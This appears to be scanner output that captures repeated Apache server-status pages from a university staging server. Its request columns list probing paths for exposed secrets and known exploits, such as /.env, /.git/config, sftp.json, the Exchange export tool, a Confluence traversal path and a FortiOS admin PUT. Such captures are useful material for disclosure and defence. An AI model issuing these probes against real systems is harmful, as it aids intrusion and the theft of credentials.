Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Sunday, 29-Jan-2023 10:55:06 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 102 Parent Server MPM Generation: 101 Server uptime: 82 days 17 hours 45 minutes 44 seconds Server load: 0.61 0.18 0.14 Total accesses: 2386136 - Total Traffic: 15.0 GB CPU Usage: u37.5 s22.74 cu0 cs0 - .000843% CPU load .334 requests/sec - 2248 B/second - 6.6 kB/request 48 requests currently being processed, 0 idle workers KCCCKKKKKKKCKCKKKKKKKKKKKKKKWKKKWKKKKKKKKWWWWSWRSSSSWSSS........ ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-101215021/364/190291K 6.28443011.41.621145.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 1-101206611/394/185796C 9.265024.72.661120.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 2-101219651/351/183594C 4.13503.31.631114.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-101206801/365/173828C 4.86503.31.621076.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 4-10170021/110/166455K 1.68444611.50.341012.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-10126931/133/157772K 1.53445211.40.61997.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 6-101112841/216/152475K 3.21441511.60.71923.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-10112671/1/154369K 0.15438411.40.01957.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 8-10112951/1/141126K 0.15332011.40.01848.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 9-10112961/1/128138K 0.043693.80.00852.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 10-101206961/440/124580K 14.90441211.44.02809.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 11-10127071/133/131315C 1.80503.30.54817.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 12-10113241/1/95788K 0.15235911.40.01614.36 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 13-101184561/205/63213C 2.55503.30.72471.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-10113301/1/56330K 0.15234011.40.01399.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 15-10113312/2/64956K 0.00106.70.01486.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 16-10113372/2/48521K 0.27132422.80.02361.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 17-10113542/2/39282K 0.27133322.80.02272.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 18-10113602/2/22406K 0.27134423.10.02155.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 19-10113621/1/18888K 0.002025.00.02118.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 20-10113632/2/12293K 0.28135322.90.0292.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-10113701/1/14013K 0.14139311.60.01100.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 22-10113712/2/12833K 0.00106.70.0196.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 23-10113812/2/7930K 0.00106.70.0153.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 24-10113882/2/11050K 0.00106.70.0183.69 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 25-10116342/2/2831K 0.28030722.80.0234.17 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 26-10116402/2/1990K 0.0501047.70.0112.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 27-10116411/1/511K 0.14062211.40.014.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 28-10116471/1/3126W 0.150011.40.0140.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 29-10116481/1/897K 0.15057611.60.016.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e26363e2130313e2135313/_/;/META-INF/maven/com.atla 30-10116491/1/2550K 0.15056311.40.0142.71 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 31-10116551/1/1417K 0.00103.40.0015.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 32-10116641/1/1063W 0.150011.40.0127.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 33-10116671/1/551K 0.00103.30.005.35 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 34-10116731/1/697K 0.15059311.40.016.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 35-10116791/1/1317K 0.00103.40.006.42 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 36-10116851/1/1770K 0.00103.40.0020.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 37-10116861/1/295K 0.001025.40.023.25 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 38-10116871/1/1980K 0.14062511.40.0142.27 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 39-10116931/1/286K 0.15061011.50.011.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 40-10116941/1/570K 0.14062511.40.0113.38 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 41-10117490/0/1459W 0.01000.00.0011.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 42-10117550/0/217W 0.01000.00.002.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 43-10117560/0/454W 1.40000.00.009.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 44-10117670/0/137W 0.01000.00.002.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 45-8617680/0/49S 0.02106930500.00.000.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-10117690/1/88W 0.00000.00.001.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2033313e2130313e2135313/_/;/META-INF/maven/com.at 47-10117700/0/88W 0.02000.00.001.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 48-8617750/0/102S 0.00106934500.00.001.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-8617770/0/235S 0.00106936500.00.002.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-8617830/0/41S 0.00106936300.00.000.60 127.0.0.1http/1.1
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e682321d5a5
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Sunday, 29-Jan-2023 10:55:04 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 102 Parent Server MPM Generation: 101 Server uptime: 82 days 17 hours 45 minutes 42 seconds Server load: 0.49 0.14 0.12 Total accesses: 2386101 - Total Traffic: 15.0 GB CPU Usage: u42.85 s28.88 cu0 cs0 - .001% CPU load .334 requests/sec - 2248 B/second - 6.6 kB/request 19 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKWSWSS.......................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-101215021/364/190291K 6.28243011.41.621145.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 1-101206611/394/185796K 9.263024.72.661120.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 2-101219651/351/183594K 4.13303.31.631114.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-101206801/365/173828K 4.86303.31.621076.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 4-10170021/110/166455K 1.68244611.50.341012.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-10126931/133/157772K 1.53245211.40.61997.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 6-101112841/216/152475K 3.21241511.60.71923.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-10112671/1/154369K 0.15238411.40.01957.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 8-10112951/1/141126K 0.15132011.40.01848.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 9-10112961/1/128138K 0.041693.80.00852.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 10-101206961/440/124580K 14.90241211.44.02809.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 11-10127071/133/131315K 1.80303.30.54817.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 12-10113241/1/95788K 0.15035911.40.01614.36 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 13-101184561/205/63213K 2.55303.30.72471.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-10113301/1/56330K 0.15034011.40.01399.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 15-10113311/1/64955K 0.00103.30.00486.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 16-10113371/1/48520K 0.13033511.40.01361.58 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 17-10113540/0/39280W 0.00000.00.00272.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 18-9913600/0/22404S 0.007175900.00.00155.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-10113620/0/18887W 0.00000.00.00118.40 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 20-9913630/0/12291S 6.235349100.00.0092.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 21-9913700/0/14012S 0.007175700.00.00100.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-9900/0/12831S 0.007175600.00.0096.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-99-0/0/7928. 0.007175500.00.0053.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-99-0/0/11048. 0.007175400.00.0083.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-96-0/0/2829. 0.0034257700.00.0034.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-96-0/0/1988. 0.0034257600.00.0012.67 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-96-0/0/510. 0.0034257500.00.004.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-96-0/0/3125. 0.0034257400.00.0040.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-96-0/0/896. 0.0034257300.00.006.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-96-0/0/2549. 3.5833426400.00.0042.70 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-96-0/0/1416. 0.0034257200.00.0015.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-96-0/0/1062. 0.0034257100.00.0027.08 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-96-0/0/550. 0.0034257000.00.005.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-96-0/0/696. 0.0034256900.00.006.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-96-0/0/1316. 0.0034256800.00.006.42 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-96-0/0/1769. 4.4233426700.00.0020.88 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-96-0/0/294. 0.0034256700.00.003.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-96-0/0/1979. 0.0034256600.00.0042.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-96-0/0/285. 0.0034256500.00.001.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-96-0/0/569. 0.0034256400.00.0013.37 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-86-0/0/1459. 0.01106930700.00.0011.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-86-0/0/217. 0.01106930500.00.002.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-86-0/0/454. 1.40106624800.00.009.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-86-0/0/137. 0.01106930400.00.002.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-86-0/0/49. 0.02106930300.00.000.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-86-0/0/87. 0.01106930600.00.001.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-86-0/0/88. 0.02106930200.00.001.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-86-0/0/102. 0.00106934300.00.001.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-86-0/0/235. 0.00106936300.00.002.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-86-0/0/41. 0.00106936100.00.000.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-86-0/0/82. 0.00106936200.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 52-86-0/0/102. 0.00106936000.00.001.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-86-0/0/465. 0.01106932800.0
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e6857774b52
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Sunday, 29-Jan-2023 10:55:05 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 102 Parent Server MPM Generation: 101 Server uptime: 82 days 17 hours 45 minutes 43 seconds Server load: 0.49 0.14 0.12 Total accesses: 2386120 - Total Traffic: 15.0 GB CPU Usage: u37.77 s24.41 cu0 cs0 - .00087% CPU load .334 requests/sec - 2248 B/second - 6.6 kB/request 36 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKKKKKKKKKWWWWSWKWKWSKWSSS....................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-101215021/364/190291K 6.28343011.41.621145.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 1-101206611/394/185796K 9.264024.72.661120.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 2-101219651/351/183594K 4.13403.31.631114.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-101206801/365/173828K 4.86403.31.621076.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 4-10170021/110/166455K 1.68344611.50.341012.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-10126931/133/157772K 1.53345211.40.61997.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 6-101112841/216/152475K 3.21341511.60.71923.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-10112671/1/154369K 0.15338411.40.01957.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 8-10112951/1/141126K 0.15232011.40.01848.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 9-10112961/1/128138K 0.042693.80.00852.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 10-101206961/440/124580K 14.90341211.44.02809.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 11-10127071/133/131315K 1.80403.30.54817.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 12-10113241/1/95788K 0.15135911.40.01614.36 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 13-101184561/205/63213K 2.55403.30.72471.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-10113301/1/56330K 0.15134011.40.01399.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 15-10113312/2/64956K 0.00006.70.01486.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 16-10113372/2/48521K 0.27032422.80.02361.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 17-10113542/2/39282K 0.27033322.80.02272.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 18-10113602/2/22406K 0.27034423.10.02155.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 19-10113621/1/18888K 0.001025.00.02118.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 20-10113632/2/12293K 0.28035322.90.0292.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-10113701/1/14013K 0.14039311.60.01100.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 22-10113712/2/12833K 0.00006.70.0196.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 23-10113812/2/7930K 0.00006.70.0153.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 24-10113882/2/11050K 0.00006.70.0183.69 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 25-10116340/0/2829W 0.00000.00.0034.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 26-10116400/0/1988W 0.00000.00.0012.67 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 27-10116410/0/510W 0.00000.00.004.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 28-10116470/0/3125W 0.00000.00.0040.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 29-9616480/0/896S 0.0034257400.00.006.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-10116490/0/2549W 3.58000.00.0042.70 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 31-10116551/1/1417K 0.00003.40.0015.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 32-10116640/0/1062W 0.00000.00.0027.08 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 33-10116671/1/551K 0.00003.30.005.35 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 34-10116730/0/696W 0.00000.00.006.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 35-9616790/0/1316S 0.0034256900.00.006.42 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-10116851/1/1770K 0.00003.40.0020.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 37-10116860/0/294W 0.00000.00.003.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 38-9616870/0/1979S 0.0034256700.00.0042.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-9616930/0/285S 0.0034256600.00.001.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-9616940/0/569S 0.0034256500.00.0013.37 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-86-0/0/1459. 0.01106930800.00.0011.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-86-0/0/217. 0.01106930600.00.002.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-86-0/0/454. 1.40106624900.00.009.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-86-0/0/137. 0.01106930500.00.002.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-86-0/0/49. 0.02106930400.00.000.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-86-0/0/87. 0.01106930700.00.001.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-86-0/0/88. 0.02106930300.00.001.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-86-0/0/102. 0.00106934400.00.001.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-86-0/0/235. 0.00106936400.00.002.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-86-0/0/41. 0.00106936200.00.000.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-86-0/0/82. 0.00106936300.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HT
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68ea5bf884
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 30-Nov-2022 11:49:47 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 30 Parent Server MPM Generation: 29 Server uptime: 22 days 18 hours 40 minutes 25 seconds Server load: 0.09 0.07 0.15 Total accesses: 716879 - Total Traffic: 4.4 GB CPU Usage: u19.11 s13.17 cu0 cs0 - .00164% CPU load .364 requests/sec - 2392 B/second - 6.4 kB/request 32 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKKKKKKKKKWWWWWKSKSSSSS.......................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-29291551/1/58586K 0.23340811.40.01332.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 1-2917191/475/54139K 11.14403.33.57308.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 2-29144571/87/58237K 1.50403.30.76321.52 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-29291641/1/45194K 0.052873.90.00289.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 4-29144771/93/39481K 0.89403.51.13246.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 5-29291651/1/46125K 0.23241611.40.01268.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 6-298161/161/43413K 3.01353111.41.40243.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 7-29267691/17/41713K 0.41351211.60.14239.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 8-29291791/1/49122K 0.24142311.40.01262.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 9-29291801/1/32864K 0.24142911.40.01237.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 10-29291861/1/40655K 0.00203.30.00231.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 11-29278231/12/42976K 0.69351911.50.12235.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 12-29145011/87/24683K 2.47351311.40.78151.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 13-29291921/1/13196K 0.24142711.60.01107.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2033313e2130313e2135313/_/;/META-INF/maven/com.at 14-29292061/1/19171K 0.00113.50.00119.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin 